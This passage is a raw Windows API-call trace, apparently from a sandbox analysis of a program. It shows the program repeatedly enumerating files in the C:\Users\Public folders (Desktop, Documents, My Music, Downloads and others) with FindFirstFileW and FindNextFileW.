lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.081] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0209.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0209.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0209.081] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\AccountPictures", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\AccountPictures", lpFilePart=0x0) returned 0x1f [0209.081] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\AccountPictures\\*" (normalized: "c:\\users\\public\\accountpictures\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x436238c4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.082] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x436238c4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.082] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x436238c4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0209.082] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x436238c4, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436238c4, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0209.082] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0209.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0209.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0209.083] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0209.083] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*" (normalized: "c:\\users\\public\\desktop\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37f05f6, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37f05f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.083] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37f05f6, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37f05f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.083] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37f05f6, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0209.083] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.084] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0209.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0209.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0209.084] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0209.084] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*" (normalized: "c:\\users\\public\\desktop\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37f05f6, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37f05f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.084] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37f05f6, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37f05f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.085] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37f05f6, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0209.085] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37f05f6, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0209.085] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0209.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0209.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0209.085] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0209.085] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*" (normalized: "c:\\users\\public\\documents\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d5bfea2, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d5bfea2, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a900 [0209.087] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d5bfea2, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d5bfea2, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.088] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37f05f6, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0209.088] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0209.088] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0209.088] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d5bfea2, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d5bfea2, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d5bfea2, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0209.089] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d5bfea2, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d5bfea2, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d5bfea2, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0209.089] FindClose (in: hFindFile=0x1d46a900 | out: hFindFile=0x1d46a900) returned 1 [0209.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0209.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0209.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0209.090] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0209.090] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*" (normalized: "c:\\users\\public\\documents\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d5bfea2, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d5bfea2, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.091] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d5bfea2, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d5bfea2, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.092] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x37f05f6, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0209.092] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0209.092] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0209.092] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d5bfea2, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d5bfea2, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d5bfea2, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0209.092] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.092] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0209.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0209.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0209.094] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0209.094] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*" (normalized: "c:\\users\\public\\documents\\my music\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0209.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dda50) returned 1 [0209.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0209.100] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0209.100] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*" (normalized: "c:\\users\\public\\documents\\my music\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0209.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dda50) returned 1 [0209.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0209.105] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0209.105] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*" (normalized: "c:\\users\\public\\documents\\my pictures\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0209.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dda50) returned 1 [0209.110] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0209.110] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0209.110] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*" (normalized: "c:\\users\\public\\documents\\my pictures\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0209.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dda50) returned 1 [0209.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0209.115] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0209.115] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*" (normalized: "c:\\users\\public\\documents\\my videos\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0209.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dda50) returned 1 [0209.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0209.121] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0209.121] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*" (normalized: "c:\\users\\public\\documents\\my videos\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0209.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dda50) returned 1 [0209.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0209.126] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0209.126] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*" (normalized: "c:\\users\\public\\downloads\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.127] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3816851, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.128] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, 